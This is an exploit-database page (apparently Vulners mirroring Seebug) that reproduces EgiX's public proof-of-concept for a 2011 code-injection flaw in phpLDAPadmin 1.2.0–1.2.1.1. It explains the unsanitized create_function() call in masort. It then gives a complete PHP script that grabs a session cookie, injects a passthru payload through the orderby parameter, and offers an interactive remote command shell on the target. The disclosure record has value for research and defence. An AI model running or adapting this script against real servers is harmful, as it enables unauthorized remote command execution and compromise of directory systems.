Lucene search
K

phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection Exploit. Code injection vulnerability in phpLDAPadmin version 1.2.1.1 and below allows remote attackers to execute arbitrary PHP code via the 'query_engine' command, related to the masort function in /lib/functions.php

Code

                                                &#60;?php

/*
    ------------------------------------------------------------------------
    phpLDAPadmin &#60;= 1.2.1.1 (query_engine) Remote PHP Code Injection Exploit
    ------------------------------------------------------------------------
    
    author...............: EgiX
    mail.................: n0b0d13s[at]gmail[dot]com
    software link........: http://phpldapadmin.sourceforge.net/
    affected versions....: from 1.2.0 to 1.2.1.1

    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] vulnerable code in /lib/functions.php
    
    1002.    function masort(&$data,$sortby,$rev=0) {
    1003.        if (defined(&#39;DEBUG_ENABLED&#39;) && DEBUG_ENABLED && (($fargs=func_get_args())||$fargs=&#39;NOARGS&#39;))
    1004.            debug_log(&#39;Entered (%%)&#39;,1,0,__FILE__,__LINE__,__METHOD__,$fargs);
    1005.    
    1006.        # if the array to sort is null or empty
    1007.        if (! $data) return;
    1008.    
    1009.        static $CACHE = array();
    1010.    
    1011.        if (empty($CACHE[$sortby])) {
    1012.            $code = &#34;\$c=0;\n&#34;;
    1013.    
    1014.            foreach (explode(&#39;,&#39;,$sortby) as $key) {
    1015.                $code .= &#34;if (is_object(\$a) || is_object(\$b)) {\n&#34;;
    1016.    
    1017.                $code .= &#34;    if (is_array(\$a-&#62;$key)) {\n&#34;;
    1018.                $code .= &#34;        asort(\$a-&#62;$key);\n&#34;;
    1019.                $code .= &#34;        \$aa = array_shift(\$a-&#62;$key);\n&#34;;
    
    ....
    
    1078.            $code .= &#39;return $c;&#39;;
    1079.    
    1080.            $CACHE[$sortby] = create_function(&#39;$a, $b&#39;,$code);
    1081.        }
    
    The $sortby parameter passed to &#39;masort&#39; function isn&#39;t properly sanitized before being used in a call to create_function()
    at line 1080, this can be exploited to inject and execute arbitrary PHP code. The only possible attack vector is when handling
    the &#39;query_engine&#39; command, here input passed through $_REQUEST[&#39;orderby&#39;] is passed as $sortby parameter to &#39;masort&#39; function.
    
    [-] Disclosure timeline:
    
    [30/09/2011] - Vulnerability discovered
    [02/10/2011] - Issue reported to http://sourceforge.net/support/tracker.php?aid=3417184
    [05/10/2011] - Fix committed: http://phpldapadmin.git.sourceforge.net/git/gitweb.cgi?p=phpldapadmin/phpldapadmin;h=76e6dad
    [23/10/2011] - Public disclosure
    
*/

error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;, 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( &#34;\n[-] No response from {$host}:80\n&#34;);

    fwrite($sock, $packet);
    return stream_get_contents($sock);
}

print &#34;\n+-------------------------------------------------------------------+&#34;;
print &#34;\n| phpLDAPadmin &#60;= 1.2.1.1 Remote PHP Code Injection Exploit by EgiX |&#34;;
print &#34;\n+-------------------------------------------------------------------+\n&#34;;

if ($argc &#60; 3)
{
    print &#34;\nUsage......: php $argv[0] &#60;host&#62; &#60;path&#62;\n&#34;;
    print &#34;\nExample....: php $argv[0] localhost /&#34;;
    print &#34;\nExample....: php $argv[0] localhost /phpldapadmin/htdocs/\n&#34;;
    die();
}

$host = $argv[1];
$path = $argv[2];

$packet  = &#34;GET {$path}index.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;

if (!preg_match(&#34;/Set-Cookie: ([^;]*);/&#34;, http_send($host, $packet), $sid)) die(&#34;\n[-] Session ID not found!\n&#34;);

$phpcode = &#34;foo));}}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;/*&#34;;
$payload = &#34;cmd=query_engine&query=none&search=1&orderby={$phpcode}&#34;;

$packet  = &#34;POST {$path}cmd.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cookie: {$sid[1]}\r\n&#34;;
$packet .= &#34;Cmd: %s\r\n&#34;;
$packet .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;;
$packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n{$payload}&#34;;

while(1)
{
    print &#34;\nphpldapadmin-shell# &#34;;
    if (($cmd = trim(fgets(STDIN))) == &#34;exit&#34;) break;
    preg_match(&#34;/_code_(.*)/s&#34;, http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die(&#34;\n[-] Exploit failed!\n&#34;);
}

?&#62;

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation